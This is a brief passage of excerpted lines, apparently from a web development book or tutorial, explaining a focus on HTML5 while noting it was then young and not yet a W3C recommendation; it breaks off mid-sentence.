    For simplicity’s sake, we decided to focus on HTML version 5
    ...
    At the time of this writing, it is still fairly young and has yet to become
    a W3C recommendation
    ...
    It includes direct support for tags like